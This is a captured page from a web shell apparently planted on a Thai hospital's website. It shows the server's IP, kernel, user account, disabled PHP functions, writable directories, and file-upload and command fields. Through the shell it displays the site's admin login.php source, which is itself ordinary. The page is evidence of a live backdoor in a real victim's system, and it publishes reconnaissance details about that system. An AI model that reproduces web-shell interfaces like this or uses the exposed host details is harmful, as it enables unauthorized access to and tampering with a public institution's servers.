403Webshell
Server IP : 104.21.73.108  /  Your IP : 216.73.216.59
Web Server : Apache/2
System : Linux cat167-197.static.lnwhostname.com 5.10.0-20-amd64 #1 SMP Debian 5.10.158-2 (2022-12-13) x86_64
User : paphayomho ( 1042)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/paphayomho/domains/paphayomhospital.go.th/private_html/km_paphayom/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/paphayomho/domains/paphayomhospital.go.th/private_html/km_paphayom//login.php
<?php
session_start();
include 'db.php';

// หาก Login ค้างไว้แล้ว ให้ส่งไปหน้า Admin ทันที
if (isset($_SESSION['user_id']) && $_SESSION['role'] === 'admin') {
    header("Location: admin_panel.php");
    exit();
}

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $user = $_POST['username'];
    $pass = $_POST['password'];

    // 1. ใช้ Prepared Statement เพื่อความปลอดภัย (ป้องกัน SQL Injection)
    $stmt = $conn->prepare("SELECT id, username, password, role, name FROM adminpayom WHERE username = ?");
    $stmt->bind_param("s", $user);
    $stmt->execute();
    $result = $stmt->get_result();
    
    if ($row = $result->fetch_assoc()) {
        // 2. ตรวจสอบรหัสผ่านที่ Verify กับ password_hash
        if (password_verify($pass, $row['password'])) {
            
            // 3. กำหนดค่า Session ให้ตรงกับที่หน้า admin_panel.php เรียกใช้
            $_SESSION['user_id'] = $row['id'];
            $_SESSION['username'] = $row['username'];
            $_SESSION['role'] = $row['role']; 
            $_SESSION['name'] = !empty($row['name']) ? $row['name'] : $row['username'];
            
            session_write_close();
            header("Location: admin_panel.php");
            exit();
        } else { 
            $error = "รหัสผ่านไม่ถูกต้อง"; 
        }
    } else { 
        $error = "ไม่พบชื่อผู้ใช้งานในระบบ"; 
    }
}
?>
<!DOCTYPE html>
<html lang="th">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>เข้าสู่ระบบ - KM ป่าพะยอม</title>
    <link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet">
    <link href="https://fonts.googleapis.com/css2?family=Sarabun:wght@300;400;700&display=swap" rel="stylesheet">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/css/all.min.css">
    <style>
        body { 
            background: linear-gradient(135deg, #0056b3 0%, #b3e5fc 100%); 
            height: 100vh; 
            display: flex; 
            align-items: center; 
            font-family: 'Sarabun', sans-serif; 
        }
        .login-card { 
            border-radius: 20px; 
            border: none; 
            box-shadow: 0 10px 30px rgba(0,0,0,0.2); 
            width: 100%; 
            max-width: 400px; 
        }
        .btn-login {
            background-color: #0056b3;
            border: none;
            transition: 0.3s;
        }
        .btn-login:hover {
            background-color: #004494;
            transform: translateY(-2px);
        }
    </style>
</head>
<body>
    <div class="card login-card mx-auto bg-white p-4">
        <div class="text-center mb-4">
            <h3 class="fw-bold text-primary">KM-PAPHAYOM</h3>
            <p class="text-muted small">ระบบจัดการความรู้โรงพยาบาลป่าพะยอม</p>
        </div>

        <?php if(isset($error)): ?>
            <div class="alert alert-danger py-2 small text-center">
                <i class="fas fa-exclamation-circle me-1"></i> <?php echo $error; ?>
            </div>
        <?php endif; ?>

        <form method="POST" action="">
            <div class="mb-3">
                <label class="form-label small">ชื่อผู้ใช้งาน</label>
                <div class="input-group">
                    <span class="input-group-text bg-light"><i class="fas fa-user text-muted"></i></span>
                    <input type="text" name="username" class="form-control" required placeholder="Username" autofocus>
                </div>
            </div>
            <div class="mb-4">
                <label class="form-label small">รหัสผ่าน</label>
                <div class="input-group">
                    <span class="input-group-text bg-light"><i class="fas fa-lock text-muted"></i></span>
                    <input type="password" name="password" class="form-control" required placeholder="Password">
                </div>
            </div>
            <button type="submit" class="btn btn-primary btn-login w-100 py-2 shadow-sm">
                <i class="fas fa-sign-in-alt me-2"></i> เข้าสู่ระบบ
            </button>
        </form>
        
        <div class="text-center mt-4">
            <a href="index.php" class="text-decoration-none small text-muted">
                <i class="fas fa-arrow-left me-1"></i> กลับหน้าหลัก
            </a>
        </div>
    </div>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit